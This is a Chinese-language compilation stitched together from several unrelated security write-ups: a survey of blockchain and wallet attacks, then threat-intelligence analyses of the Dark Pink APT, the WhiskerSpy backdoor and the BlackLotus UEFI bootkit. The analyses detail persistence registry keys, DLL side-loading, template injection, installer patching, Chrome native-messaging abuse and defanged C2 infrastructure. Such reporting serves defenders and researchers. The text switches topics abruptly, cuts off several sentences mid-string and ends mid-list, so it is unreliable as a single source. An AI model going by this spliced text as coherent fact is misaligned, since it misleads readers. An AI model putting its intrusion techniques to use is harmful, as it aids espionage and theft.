交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中,每筆交易都有一個散列,即交易ID。如果攻擊者設法更改交易的ID,他們可以嘗試將更改後的哈希值的交易廣播到網絡,並在原始交易之前確認它。如果成功,發送方將認為初始交易失敗,而資金仍將從發送方的賬戶中提取。如果發件人重複交易,相同的金額將被扣除兩次。一旦這兩筆交易被礦工確認,這次黑客攻擊就成功了。

比特幣交易所Mt. Gox在2014 年因延展性攻擊而破產。然而,比特幣似乎通過引入隔離見證(SegWit) 流程解決了這個問題,該流程將簽名數據與比特幣交易分開,並用對每個簽名的不可延展的哈希承諾。

時間劫持時間劫持利用了比特幣時間戳處理中的一個理論漏洞。在時間劫持攻擊期間,黑客更改節點的網絡時間計數器並強制節點接受替代區塊鏈。當惡意用戶使用不准確的時間戳將多個虛假對等點添加到網絡時,就可以實現這一點。但是,可以通過限制接受時間範圍或使用節點的系統時間來防止時間劫持攻擊。

路由攻擊路由攻擊可以影響單個節點和整個網絡。這種黑客攻擊的想法是在將交易推送給同行之前篡改交易。其他節點幾乎不可能檢測到這種篡改,因為黑客將網絡劃分為無法相互通信的分區。路由攻擊實際上包括兩個獨立的攻擊:

分區攻擊,將網絡節點分成不同的組

延遲攻擊,篡改傳播消息並將它們發送到網絡

女巫攻擊通過將多個標識符分配給同一節點來安排女巫攻擊。區塊鍊網絡沒有可信節點,每個請求都會發送到多個節點。

image.png

圖1. 女巫攻擊

在Sybil 攻擊期間,黑客控制了網絡中的多個節點。然後受害者被關閉所有交易的假節點包圍。最後,受害者對雙花攻擊持開放態度。 Sybil 攻擊很難檢測和預防,但以下措施可能有效:增加創建新身份的成本,需要某種類型的信任才能加入網絡,或根據聲譽確定用戶權力。

蝕攻擊eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害者節點“已嘗試”表中的地址並等待受害者節點重新啟動。重啟後,受害者節點的所有出站連接都將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。波士頓大學的研究人員對以太坊網絡發起了一次日食攻擊,並設法僅使用一兩台機器就完成了攻擊。

對權益證明網絡的遠程攻擊遠程攻擊針對使用股權證明(PoS) 共識算法的網絡,在該算法中,用戶可以根據持有的硬幣數量來挖掘或驗證區塊交易。

這些攻擊可以分為三類:

簡單- 當節點不檢查塊時間戳時,權益證明協議的簡單實現

事後腐敗——試圖在給定時間範圍內鑄造比主鏈更多的區塊

Stake bleeding——將交易從誠實維護的區塊鏈複製到攻擊者維護的私有區塊鏈

在進行遠程攻擊時,黑客使用購買或竊取的私鑰,該私鑰具有相當大的代幣餘額,該私鑰過去已經用於驗證。然後,黑客可以生成區塊鏈的替代歷史並根據PoS 驗證增加獎勵。

2. 用戶錢包攻擊實際上,在人們與它們互動之前,區塊鍊和網絡安全就像鹽和胡椒一樣在一起。這聽起來可能令人驚訝,但區塊鏈用戶構成了最大的安全威脅。人們了解區塊鏈在網絡安全中的用途,往往會高估區塊鏈的安全性而忽視其弱點。用戶錢包憑證是網絡犯罪分子的主要目標。

為了獲取錢包憑證,黑客嘗試使用網絡釣魚和字典攻擊等傳統方法以及尋找加密算法弱點等新的複雜方法。以下是攻擊用戶錢包的最常見方法的概述。

網絡釣魚2018 年,IOTA 錢包發起了一次攻擊,發起人是iotaseed.io(現已下線),這是一個虛假的在線種子生成器。黑客利用這項服務進行了網絡釣魚活動,並收集了帶有秘密種子的日誌。結果,2018 年1 月,黑客成功從受害者的錢包中竊取了價值超過400 萬美元的IOTA。

字典攻擊在這些攻擊中,黑客試圖通過嘗試普通密碼(如password1)的哈希值來破解受害者的加密哈希和鹽。通過將明文密碼轉換為加密哈希,攻擊者可以找到錢包憑證。

易受攻擊的簽名區塊鍊網絡使用各種加密算法來創建用戶簽名,但它們也可能存在漏洞。例如,比特幣使用ECDSA 密碼算法自動生成唯一的私鑰。然而,看起來ECDSA 的熵不足,這可能導致多個簽名中出現相同的隨機值。 IOTA 還面臨著其舊的Curl 哈希函數的密碼學問題。

有缺陷的密鑰生成利用密鑰生成中的漏洞,被稱為Johoe 的黑客在2014 年12 月獲得了Blockchain.info 提供的私鑰。這次攻擊的發生是由於代碼更新期間出現的錯誤導致生成公共輸入的隨機性差用戶密鑰。儘管此漏洞很快得到緩解,但ECDSA 算法仍然可能存在該漏洞。

對冷錢包的攻擊硬件錢包或冷錢包也可能被黑客入侵。例如,研究人員利用Nano S Ledger 錢包中的漏洞發起了Evil Maid 攻擊。由於這次黑客攻擊,研究人員獲得了私鑰以及受害者的PIN、恢復種子和密碼。

最近的一次冷錢包攻擊發生在2019 年,當時UPbit加密貨幣交易所正在將資金轉移到冷錢包。當您預計會受到網絡攻擊時,這是凍結加密貨幣的常用方法。黑客設法竊取了342,000 ETH,顯然是因為他們知道交易的時間。

對熱錢包的攻擊熱錢包是用於存儲私人加密密鑰的聯網應用程序。儘管加密貨幣交易所的所有者聲稱他們將錢包中的用戶數據與網絡斷開連接,但2018 年針對Coincheck 的5 億美元攻擊證明這並非總是如此。

2019 年6 月,對GateHub 的攻擊導致數十個原生XRP錢包的未經授權訪問和加密資產被盜。由於系統漏洞,新加坡加密貨幣交易所Bitrue也幾乎同時遭遇了熱錢包攻擊。結果,黑客設法竊取了價值超過450 萬美元的XRP 和237,500 美元的ADA 資金。

長期以來,亞太地區國家一直是高級持續性威脅(APT)的重災區。最近網絡安全公司Group-IB發現了一波針對東南亞以及歐洲地區的攻擊,目前暫將其命名為Dark Pink,截止發文還沒有分析出其背後的攻擊者,因此極有可能Dark Pink是一個全新的APT組織。為研究方便,本文就將其幕後組織稱為Dark Pink APT組織。

有證據表明,“Dark Pink”活動早在2021年年中就開始了,2022年中後期激增。目前已確認的受害者包括菲律賓和馬來西亞的兩個軍事機構,柬埔寨、印度尼西亞和波斯尼亞和黑塞哥維那的政府機構,以及越南的一個宗教組織。

攻擊者正在利用一套新的戰術、技術和程序,他們利用一個自定義工具包,包括TelePowerBot、KamiKakaBot、Cucky和Ctealer信息竊取器(所有名字都被稱為Group-IB),旨在竊取政府和軍事組織網絡上的機密文件。特別值得注意的是,Dark Pink甚至有能力攻擊連接到受攻擊設備的USB設備,甚至訪問受攻擊設備上的即時通訊工具。此外,Dark Pink組織利用兩種核心技術,其中一種是DLL側加載和執行由文件類型關聯觸發的惡意內容(事件觸發執行:更改默認文件關聯)。

重要發現在2022年6月至12月期間,Dark Pink對某個目標發動了七次攻擊。

研究人員將Dark Pink的首次活動與攻擊者利用的Github賬戶聯繫在一起,首次攻擊發生在2022年6月。他們的活動在2022年的最後三個月達到頂峰,當時他們發動了四次攻擊。

Dark Pink的受害者分佈在五個亞太國家(越南、馬來西亞、印度尼西亞、柬埔寨、菲律賓)和一個歐洲國家(波黑)。攻擊對象包括軍事機構、政府和發展機構、宗教組織和一個非營利組織。

Dark Pink APT的主要目標是進行商業間諜活動,竊取文件,從受攻擊設備的麥克風中捕獲聲音,並從即時通訊工具中竊取數據。

Dark Pink最初的核心載體是針對魚叉式網絡釣魚郵件,攻擊者假扮成求職者。有證據表明,“Dark Pink”背後的組織掃描了發布空缺職位的網站,並偽裝成求職者發送了電子郵件。

幾乎所有工具都是定制,包括TelePowerBot和KamiKakaBot,以及Cucky和Ctealer竊取程序。整個調查過程中,我們只發現了一個公共工具:PowerSploit/Get-MicrophoneAudio。

Dark Pink APT使用了一種稱為事件觸發執行的罕見技術,通過更改默認文件關聯,以確保惡意TelePowerBot惡意軟件的啟動。這些特殊攻擊者利用的另一種技術是DLL側加載,他們用它來避免在初始訪問期間被發現。

攻擊者創建了一組PowerShell腳本,用於在受害者和攻擊者的基礎設施之間進行通信,其目的是橫向移動和網絡偵察。

受攻擊的基礎設施和Dark Pink背後的攻擊者之間的所有通信都基於Telegram API。

Dark PinkAPT組織實施的攻擊非常先進。他們利用複雜的自定義工具組合來攻破多個政府和軍事組織的防禦系統。首次發現是2022年6月在越南的一個宗教組織上註冊的攻擊。然而,在此之前,他們就一直很活躍,因為Group-IB研究人員發現了這些攻擊者使用的Github賬戶,其活動可以追溯到2021年年中。根據研究,由攻擊者初始化的惡意軟件可以發出命令,讓受攻擊的設備從這個特定的Github帳戶下載模塊。有趣的是,在迄今為止的整個活動期間,攻擊者似乎只使用了一個Github賬戶,這可能表明他們已經能夠在很長一段時間內不被發現。

1.png

上圖詳細顯示2021(上圖)和2022年(下圖)Dark Pink APT在Github賬戶上的活動

在2022年6月的攻擊之後,Group-IB研究人員無法將任何其他惡意活動歸因於Dark Pink。然而,這個APT組織在夏末突然活躍起來,當時Group-IB注意到2022年8月越南一家非營利組織遭受的攻擊具有6月攻擊的所有特徵。這樣,Group-IB就能夠將9月份的一次攻擊、10月份的兩次攻擊(一次成功,一次失敗)、11月份的兩次攻擊和12月份的一次攻擊統一在一起。 2022年12月8日,印度尼西亞政府組織就被攻擊了一次。

2.png

Dark Pink APT時間線和攻擊目標

攻擊鏈Dark Pink攻擊的複雜性體現在它執行了多個不同攻擊鏈。攻擊者能夠用幾種編程語言製作工具,這使他們在試圖破壞防禦基礎設施並在受害者的網絡上獲得持久性時提供了很大的靈活性。因此,我們將討論這些過程的不同步驟和階段,但需要注意的是,大部分攻擊都基於PowerShell腳本或命令,旨在啟動受攻擊網絡和攻擊者基礎設施之間的通信。

最初的訪問是通過成功的魚叉式網絡釣魚郵件實現的,這些信息包含一個短鏈接,引導受害者下載惡意ISO映像,在一個示例中,Group-IB發現該映像存儲在公共免費共享服務MediaFire上。一旦受害者下載了ISO映像,攻擊者就可以使用三個不同的攻擊鏈,我們將在下面詳細介紹。

首先引起我們注意的是,攻擊者和受害者設備之間的所有通信都是基於Telegram API的。由TelePowerBot和KamiKakaBot創建的自定義模塊旨在通過攻擊者控制的Telegram木馬讀取和執行命令。有趣的是,這些模塊是用不同的編程語言開發的。 TelePowerBot是用PowerShell腳本表示的,而KamiKakaBot則是在.NET上開發的,其中包含了竊取功能。自2021年9月以來,攻擊者一直使用相同的Telegram木馬程序。

此外,Dark Pink APT利用自定義Ctealer和Cucky從網絡瀏覽器中竊取受害者的憑據。

首次訪問Dark Pink的成功很大程度上要歸功於用於獲得初始訪問權限的魚叉式網絡釣魚郵件。在一個示例中,Group-IB能夠找到攻擊者發送的原始電子郵件。在這個示例中,攻擊者假扮成一名申請公關和傳播實習生職位的求職者。在郵件中,攻擊者提到他們在求職網站上發現了這個空缺,這可能表明攻擊者掃描了求職板,並使用這些信息創建了高度相關的釣魚電子郵件。

這些電子郵件包含一個鏈接到免費使用的文件共享網站的短URL,受害者可以從中選擇下載一個ISO映像,其中包含攻擊受害者網絡所需的所有文件。在調查過程中,研究人員發現攻擊者利用了幾個不同的ISO映像,我們還注意到這些ISO映像中包含的文件因情況而異。根據目前掌握的信息,我們堅信攻擊者會向每個受害者發送獨特的電子郵件,我們認為攻擊者可以通過電子郵件將惡意ISO鏡像作為直接附件發送給受害者。

Dark Pink APT發送的原始魚叉式釣魚郵件截圖,其中記錄了文件共享網站上ISO映像的存儲情況

魚叉式網絡釣魚郵件中發送的ISO映像包含不同數量的文件。目前,在攻擊者發送的所有ISO映像中發現了三種類型的文件:已簽名的可執行文件、非惡意的誘餌文檔(例如.doc、pdf或.jpg)和惡意DLL文件。鑑於這封電子郵件與一個職位空缺有關,我們可以假設受害者首先會尋找所謂的申請人的簡歷,簡歷通常以MS Word文檔的形式發送。然而,在Dark Pink攻擊中,攻擊者在ISO鏡像中包含一個模仿MS Word文件的.exe文件。該文件在文件名中包含“.doc”,並包含MS Word圖標,以此來迷惑受害者並認為該文件可以安全打開。

4.png

Group-IB發現一個ISO圖像中包含的五個文件的屏幕截圖。請注意,doc和.dll文件位於隱藏視圖中

如果受害者首先執行.exe文件,與.exe文件位於同一文件夾中的惡意DLL文件將自動運行。這是一種被稱為DLL側加載的攻擊者使用的技術。 DLL執行的主要功能是確保攻擊者的核心惡意軟件TelePowerBot獲得持久性。在文件執行完成之前,誘餌文件(如信件、簡歷)會顯示在受害者的屏幕上。

木馬執行和持久性目前Group-IB研究人員已完整了解了TelePowerBot或KamiKakaBot在受害者設備上啟動的過程。如上所述,包含這兩個惡意軟件之一的惡意DLL文件可以位於魚叉式網絡釣魚活動期間發送的ISO映像中。在Group-IB分析的一個案例中,攻擊者使用了一系列MS Office文檔並利用了模板注入(Template Injection),即攻擊者在初始文檔中插入指向包含惡意宏代碼的模板文檔的鏈接。在Group-IB研究人員檢查的另外兩個案例中,Dark Pink背後的攻擊者通過DLL側加載技術啟動了他們的惡意軟件。總的來說,我們發現了攻擊者利用的三個不同的攻擊鏈,我們將在下面詳細介紹它們。

攻擊鏈1:全包式ISO攻擊鏈的第一個變體導致ISO映像通過魚叉式網絡釣魚郵件發送給受害者。此ISO映像包含一個惡意DLL文件,其中包含TelePowerDropper(名稱是Group-IB定義的)。此DLL文件的主要目標是在受攻擊設備的註冊表中獲得TelePowerBot的持久性。在某些情況下,DLL文件還可以啟動攻擊者的專有竊取程序,它會解析來自受害者設備上瀏覽器的數據,並將其存儲在本地文件夾中。在初始訪問期間,攻擊者可以啟動任何類型的竊取程序。 Dark Pink可以在攻擊的所有階段發送特殊命令來下載和啟動竊取程序。

5.png

攻擊鏈1的完整示意圖

需要注意的是,在此階段DLL文件已打包。當文件啟動時,它對自己進行解密,並將控制權傳遞給自己的解壓縮版本。此外,一旦DLL文件啟動,就會創建一個互斥鎖。其中一個例子是gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5。完成此步驟後,啟動TelePowerBot的命令將添加到自動運行中。這意味著每次用戶登錄系統時,TelePowerBot都會被啟動。這可以通過通過路徑HKCU\Environment\UserInitMprLogonScript創建註冊表項來實現。新建的密鑰值如下:

6.png

上面的代碼顯示,該命令啟動了一個標準實用程序whoami,它顯示有關該設備當前用戶的信息。輸出被重定向到文件並完成執行。

此時還不知道TelePowerBot如何開始,答案的關鍵是文件擴展名.abcd。簡而言之,攻擊者使用此擴展名創建一個文件,作為名為“事件觸發執行:更改默認文件關聯”的技術的一部分。其思想是添加一個處理程序來處理註冊表項樹中無法識別的文件擴展名。這在下面的截圖中有詳細說明。

7.png

創建擴展名為.abcd的文件時運行的詳細命令截圖

上面的屏幕截圖詳細介紹了在創建具有特定擴展名.abcd的文件時觸發的PowerShell命令的一部分。 PowerShell命令存儲在base64視圖中,並且高度模糊。這些命令的結果相對簡單:讀取註冊表項、解密並啟動TelePowerBot。

攻擊鏈2:Github宏攻擊鏈的第二個變異與前一個幾乎完全相同。唯一不同的是初始階段使用的文件。在我們的分析過程中,我們發現攻擊者使用命令在打開初始ISO文件中包含的.doc時自動從Github下載包含TelePowerBot的惡意模板文檔。寫入此模板文檔的宏代碼可以確保惡意軟件的持久性。

8.png

攻擊鏈2的完整示意圖

在本例中,發送給受害者的ISO映像包含一個MS Word文檔,導致從Github自動下載包含TelePowerBot的惡意模板文檔。為了在初始訪問期間避開檢測,宏代碼被寫入模板文檔。這種技術被稱為模板注入。宏包含多個帶有字段的表單,在執行過程中,這些表單字段的值將被讀取並作為註冊表項中的值建立。

這個技巧可以幫助惡意軟件躲避檢測,因為文檔本身不包含任何惡意功能或代碼。編碼的文檔包含帶有幾個參數的表單,這些文件中包含的宏可以讀取這些值,並確保TelePowerBot在受害者的設備上具有持久性。

9.png

截圖詳細顯示了兩個包含預定義密鑰和值的表單,這些密鑰和值是由惡意宏代碼寫入到註冊表中發送給受害者的MS Word文件中。

攻擊鏈3:X(ML)標記點我們將詳細介紹的第三種也是最後一種攻擊鏈變體是Group-IB分析的最近一次Dark Pink攻擊中使用的一個,在2022年12月8日,攻擊者破壞了印度尼西亞政府機構的網絡。通過魚叉式網絡釣魚電子郵件發送給受害者的ISO映像包含誘餌文檔、已簽名的合法MS Word文件和名為KamiKakaDropper的惡意DLL。此攻擊載體的主要目標是在受攻擊的設備上持久化KamiKakaBot。在這個攻擊鏈中,XML文件位於加密視圖中誘餌文檔的末尾。與攻擊鏈1一樣,惡意DLL文件是由DLL側加載技術啟動的。一旦DLL文件啟動,啟動下一階段攻擊鏈的XML文件將從誘餌文檔中解密並保存在受攻擊的設備中。

10.png

攻擊鏈3的完整示意圖

XML文件包含MSBuild項目,該項目包含執行.NET代碼的任務。要了解有關此過程如何工作的詳細信息,請參閱以下Microsoft文檔。 NET代碼的邏輯很簡單:啟動KamiKakaBot,它本身位於XML文件(以base64格式打包和編碼)中。打開此文件後,控制權將傳遞給KamiKakaBot。

11.png

解包並啟動KakaKamiBot的XML文件內的代碼片段

XML文件的路徑在啟動MSBuild時作為參數傳遞。運行MSBuild的命令位於註冊表項(HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell)中,該註冊表項是在DLL文件執行期間創建的。完成此步驟後,每當用戶登錄到系統時,MSBuild將運行。此外,DLL創建一個可重複的任務,將受害者從系統中註銷。

趨勢科技研究人員最近發現了一個新的後門,他們將其歸因於之前報導過的被稱為Earth Kitsune的攻擊者。自2019年以來,“Earth Kitsune”一直在向主要對朝鮮感興趣的個人傳播自主開發的後門變體。在我們過去調查的許多示例中,攻擊者通過使用了水坑攻擊策略,攻擊與朝鮮有關的網站,並將瀏覽器漏洞注入其中。在分析的最新活動中,Earth Kitsune使用了類似的策略,但沒有使用瀏覽器漏洞,而是使用了社會工程。

在2022年底,研究人員發現一個親朝組織的網站被入侵和修改,以傳播惡意軟件。當目標訪問者試圖在網站上觀看視頻時,攻擊者註入的惡意腳本會顯示一條消息提示,通知受害者視頻編解碼器錯誤,以誘使他們下載並安裝木馬編解碼器安裝程序。安裝程序經過修復,加載了一個以前看不見的後門,我們稱之為“WhiskerSpy”。此外,我們還發現攻擊者採用了一種有趣的持久性技術,濫用了Google Chrome的本地消息主機。

1.png

WhiskerSpy感染鏈

在這篇文章中,我們將揭示Earth Kitsune所使用的WhiskerSpy後門的感染鍊和技術細節。

在2022年底,我們注意到一個親朝網站在他們的視頻頁面中註入了惡意腳本。該腳本顯示了一個帶有虛假錯誤消息的彈出窗口,旨在誘使受害者安裝偽裝成高級視頻編解碼器AVC1的惡意包。

2.png

一個被攻破的親朝網站的社會工程示例

這些網頁被配置為只向目標IP地址列表中的訪問者發送惡意腳本(沒有這些IP地址的訪問者不會收到惡意負載)。這種配置使得攻擊難以被發現。幸運的是,我們設法在攻擊者的服務器上找到了一個文本文件,其中包含與目標IP地址匹配的正則表達式。其中包括:

位於中國瀋陽的IP地址子網;

一個位於日本名古屋的特定IP地址;

位於巴西的IP地址子網;

瀋陽和名古屋的IP地址很可能是他們的真正目標。然而,我們發現巴西的目標IP地址大多屬於一個商業VPN服務。我們認為,攻擊者使用此VPN服務來測試其水坑攻擊的部署。它還為我們提供了一個驗證水坑攻擊的機會,通過使用相同的VPN服務來成功接收惡意腳本。

3.png

原始頁面(左側)和帶有註入腳本的頁面(右側)之間的網頁內容比較

該網站加載帶有以下重定向代碼的惡意JavaScript(popup.js):

4.png

嵌入式JavaScript重定向到惡意安裝程序下載

修復安裝程序安裝程序文件是一個MSI安裝程序,它封裝了另一個NSIS安裝程序。攻擊者濫用了合法的安裝程序(windows.10.codec.pack.v2.1.8.setup.exe - e82e1fb775a0181686ad0d345455451c87033cafde3bd84512b6e617ace3338e),並將其修復為包含惡意shellcode。該補丁包括增加的部分數量,從5個增加到6個(圖5中的紅色括號),並增加圖像大小,為惡意shellcode創建額外的空間(圖5中的綠色括號)。

5.png

原始(上)和修復(下)安裝程序,在修復版本中某些參數的大小會增加

6.png

在修復的安裝程序中新添加了.odata部分

修復後的安裝程序的入口點被更改為立即跳轉到shellcode。 shellcode使用簡單密鑰(XOR0x01)加密。

7.png

修復後的安裝程序的入口點跳轉到.odata部分的代碼中

解密後,shellcode運行幾個PowerShell命令來下載惡意軟件的其他階段。這些文件都是可執行文件,從一開始就有幾百個字節,使用單字節密鑰進行異或。

8.png

.odata部分中的Shellcode調用幾個PowerShell命令來下載其他加載器

然後,它恢復原始入口點(總共15個字節),以確保原始安裝程序按預期運行。

9.png

.odata部分中的Shellcode恢復安裝程序的原始入口點

下載的二進製文件:加載器通過OneDrive持久化的路徑(Icon.jpg)這包含路徑\microsoft\onedrive\vcruntime140.dll,這是另一個下載文件(bg.jpg)以vcruntime140.dll的名稱釋放的位置。

持久性和加載器濫用OneDrive側加載漏洞(Bg.jpg)這是vcruntime140.dll (Microsoft C Runtime庫)的修復版本。在本例中,函數memset被修復。從函數(retn)返回的值被一個跳轉到覆蓋(在新添加的.onda部分中)所取代,其中註入的代碼從覆蓋中讀取字節,用一個單字節的密鑰對它們進行異或處理,並將嵌入的有效負載注入到werfautl.exe進程中。覆蓋層中的shellcode是主後門的加載器。

10.png

原始memset函數,注意地址0x18000C7D1處的指令返回(retn)

11.png

修復的memset函數,注意,地址0x18000C7D1的指令是跳轉(jmp),以覆蓋shellcode

該文件被放置在%LOCALAPPDATA%\microsoft\onedrive\目錄中,這是onedrive應用程序的默認用戶安裝位置。此前有報導稱,攻擊者利用OneDrive側加載漏洞,將虛假dll放置到該OneDrive目錄中,以實現在受攻擊計算機中的持久性。

持久性和加載程序使用惡意Google Chrome擴展(Favicon.jpg)這是一個安裝包,包含installer.exe(一個Google Chrome擴展安裝程序)、NativeApp.exe(一個本地消息主機)和Chrome擴展文件(background.js、manifest.json和icon.png)。

NativeApp.exe是一個本地消息主機,使用標準輸入(stdin)和標準輸出(stdout)與Chrome擴展通信。注意擴展清單中的type=' stdio '。

12.png

擴展清單,請注意擴展ID (allowed_origins)路徑導致被釋放的可執行文件和type=標準輸入/輸出

13.png

在Google Chrome擴展選項卡中查看的惡意擴展

Background.js擴展腳本向onStartup消息添加一個監聽器。該偵聽器將“inject”命令發送到本機消息傳遞主機,有效地充當某種獨特的持久性方法,因為惡意有效負載在每次Chrome瀏覽器啟動時都會執行。

14.png

onStartup事件的處理程序(Chrome瀏覽器的啟動)

NativeApp使用JSON格式的消息與Chrome擴展交換數據,並實現三個命令:execute、load和inject。

消息的格式如下:xx xx xx xx {“cmd”:””,”data”:””},其中xx xx xx xx是以字節為單位的消息長度。 “cmd”項必須包含一個已實現的命令值(execute、load和inject),而“data”項可能包含其他參數,如路徑和要執行的程序。

以下是有效JSON消息的示例:

15.png

注意,每個消息的前面必須有一個4字節的小端序長度值。傳遞不可打印字符(0x00,如下圖所示)可以通過使用PowerShell及其Get-Content cmdlet和-raw參數實現,然後通過管道“|”將該內容重定向到NativeApp。如果cmd.bin文件包含如下圖所示的相同內容,NativeApp.exe將運行notepad.exe。

16.png

指示執行notepad.exe的消息,第一個DWORD0x0000003f是以下JSON消息的長度

在當前實現中,inject命令沒有參數。相反,它連接到硬編碼的URL地址http://

主後門加載器(Help.jpg)

這是一個shellcode,加載另一個嵌入式可執行文件——我們命名為WhiskerSpy的主後門負載。

主有效載荷:WhiskerSpy

WhiskerSpy使用橢圓曲線密碼(ECC)在客戶端和服務器之間交換加密密鑰。以下是已實現的後門命令:

交互式shell;

下載文件;

上傳文件;

刪除文件;

列表文件;

截圖;

加載可執行文件並調用其導出;

向進程中註入shellcode;

設備ID被計算為位於系統管理生物系統(SMBIOS)的系統信息表中的16字節UUID的32位Fowler-Noll-Vo 哈希(FNV-1)。有關UUID值的更多詳細信息,請參閱SMBIOS規範第33頁。使用參數“RSMB”調用函數GetSystemFirmwareTable以檢索原始SMBIOS表,然後對其進行解析以定位16字節UUID,該UUID已計算其FNV-1哈希。

對於與命令和控制(CC)服務器的通信,後門生成一個隨機的16字節AES密鑰。它根據該密鑰計算會話ID,作為32位Murmur3哈希。

如上所述,後門使用橢圓曲線密碼(ECC)。我們可以從“.data”部分中存儲的硬編碼值確定橢圓曲線域參數。在下圖中,你可以看到素數(p,黃色)、第一個係數a(紅色)、第二個係數b(綠色)、生成器(基點,藍色)和輔因子(h,橙色)。了解這些參數有助於我們確定“secp256r1”是所使用的曲線,因為我們可以看到列出的大多數常用橢圓曲線的所有重要常數,例如在tinyec項目中。

17.png

“secp256r1”曲線的硬編碼參數

上圖還顯示了一個值(棕色),它表示硬編碼服務器的公鑰。

然後進行一系列計算(橢圓曲線Diffie–Hellman或ECDH密鑰交換):

生成隨機32字節客戶端私鑰(clientPrivKey);

通過將客戶端私鑰乘以曲線生成器來計算客戶端公鑰(clientPubKey=clientPrivKey * curve.g);

通過將客戶端私鑰乘以服務器公鑰來計算sharedKey(sharedKey=clientPrivKey * serverPubKey);

這些計算的結果作為一個64字節二進制blob上傳到CC服務器,其中前32個字節是客戶端公鑰的x坐標,因為常用的共享函數f(P)是取點P的x坐標。後32個字節來自一個隨機的16字節AES密鑰。

CC通信首先註冊設備ID(函數號=3;POST請求“l

18.png

註冊新計算機

隨後上傳帶有客戶端公鑰的x坐標和加密的AES密鑰的64字節文件(函數號=1;POST請求:l

19.png

註冊一個新的會話密鑰並上傳

然後,WhiskerSpy定期向CC服務器請求其應執行的任何任務(函數號=2;POST請求“h

20.png

WhiskerSpy請求執行任務

接收的數據包(文件h

21.png

特殊類型的消息

WhiskerSpy實現標準函數。在分析代碼時,我們注意到一些用於報告任務狀態的狀態代碼,其中接收到的消息的第一個字(兩個字節)是命令ID。注意,在命令包的情況下,所有命令的魔法值都相同,它位於命令ID之前,不顯示在表2中。在活動數據包的情況下,magic值的第一個單詞(2字節)用作命令ID,因此可以在表中找到0x70D值。

22.png

WhiskerSpy的後門命令

類似的後門老版本的WhiskerSpy是32位可執行文件,只實現前面提到的函數的子集(1-5,8,0x70D是相同的,6=退出進程;7=將文件釋放到temp並執行),其餘的函數都不存在。

通信不是通過HTTP協議,而是通過FTP協議。這意味著FTP名稱和密碼必須硬編碼為二進製文件才能進行通信。此方法將當前的受害者數量洩漏為l<machineID><sessionID>和h<machineID<文件,這意味著,任何知道登錄憑據的人都可以看到這些文件。 FTP版本的後門還會檢查調試器是否存在。如果存在,狀態代碼“HELO”將發送到CC服務器。

通過跟踪分析,研究人員將這次攻擊歸咎於Earth Kitsune。在與朝鮮相關的網站上註入惡意腳本,顯示出與該組織以前的活動相似的攻擊手法和受害特徵。此外,在這次攻擊中使用的WhiskerSpy的傳播服務器和CC服務器與我們之前對Earth Kitsune的研究有兩個基礎設施重疊。第一個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]]org和Earth Kitsune的域名rs[.]myftp[.]45[.]76[.]62[.]198。第二個重疊是WhiskerSpy的CC域londoncity[.]hopto[.]org和updategoogle[.]servehttp[.]com,加上傳播服務器microsoftware[.]sytes[.]net的域都解析為172[.]93[.]201[.]172。該IP地址也從Earth Kitsune的agfSpy後門使用的域selectorioi[.]ddns[.]net映射而來。

23.png

基礎設施與Earth Kitsune重疊

總結從技術角度來看,這種威脅非常有趣。它修復合法安裝程序以隱藏其活動,使用鮮為人知的哈希算法來計算計算機ID和會話ID,並使用ECC來保護加密密鑰。此外,所提出的持久性方法也是相當獨特和罕見的。這表明Earth Kitsune不斷在發展他們攻擊能力。

ESET 的安全研究人員近日發現了一種劫持UEFI 的惡意軟件,並將其命名為BlackLotus。該惡意軟件是首個可以在Win11系統上繞過Secure Boot 的UEFI bootkit 惡意軟件。這個bootkit利用UEFI安全啟動的Nday漏洞繞過安全啟動並在啟動過程中加載惡意的內核模塊。設備一旦感染該惡意軟件,就會在Win11 系統中禁用Defender、Bitlocker 和HVCI 等防病毒軟件。

BlackLotus UEFI bootkit近年來發現的UEFI漏洞數量以及在合理的時間窗口內修復或取消易受攻擊的二進製文件的失敗都沒有引起攻擊者的注意。因此,第一個公開的繞過基本平台安全功能的UEFIbootkit——UEFI Secure Boot——現在已經成為現實。在這篇文章中,研究人員首次公開分析了該UEFIbootkit,它能夠在啟用了UEFI Secure Boot的最新Windows 11系統上運行。 bootkit的功能及其單獨的功能使研究人員相信研究人員正在處理一個被稱為BlackLotus的bootkit,UEFIbootkit至少從2022年10月起就開始在黑客論壇上以5000美元的價格出售。

UEFIbootkit的破壞性很大,它完全控制系統啟動過程,因此能夠禁用各種系統安全機制,並在系統啟動的早期階段部署自己的內核模式或用戶模式有效負載。這使得他們可以非常隱秘地行動,並擁有很高的權限。到目前為止,只有少數幾個在野外被發現並被公開報導,例如,研究人員在2020年發現的多個惡意EFI樣本,或功能齊全的UEFIbootkit,如研究人員去年發現的ESPecterbootkit,或卡巴斯基研究人員發現的FinSpybootkit。

與固件植入(如LoJax)相比,UEFIbootkit可能在隱蔽性方面有所下降。研究人員的團隊於2018年發現了第一個野外UEFI固件植入,因為bootkit位於易於訪問的FAT32磁盤分區上。然而,作為啟動加載程序運行可以提供與固件植入幾乎相同的功能,但無需克服多級SPI閃存防禦,如BWE、BLE和PRx保護位,或硬件提供的保護(如Intel Boot Guard)。當然,UEFI Secure Boot阻礙了UEFIbootkit,但有一些不可忽視的已知漏洞可以繞過這一基本的安全機制。最糟糕的是,截止發文時,其中一些漏洞仍然很容易在最新系統上被利用,包括BlackLotus所利用的漏洞。

研究人員的調查始於對2022年末監測中的BlackLotus用戶模式組件(一個HTTP下載器)的一些點擊。經過初步評估,樣本中發現的代碼模式使研究人員發現了六個BlackLotus安裝程序(包括VirusTotal和研究人員自己的遙測)。這使研究人員能夠探索整個執行鏈,並意識到研究人員在這里處理的不僅僅是常規的惡意軟件。

以下是有關BlackLotus的要點,以及與之相關的一系列事件的時間表:

1.它能夠在啟用UEFI Secure Boot的最新、完全修復的Windows 11系統上運行;

2.它利用一個超過一年的漏洞(CVE-2022-21894)繞過UEFI Secure Boot並為bootkit設置持久性,這是該漏洞第一次被公開使用;

3.儘管微軟在2022年1月的更新中修復了該漏洞,但由於受影響的、有效簽名的二進製文件仍未添加到UEFI取消列表中,因此該漏洞仍有可能被利用。 BlackLotus就是利用了這一點,將其合法但易受攻擊的二進製文件副本帶到系統中,以利用該漏洞;

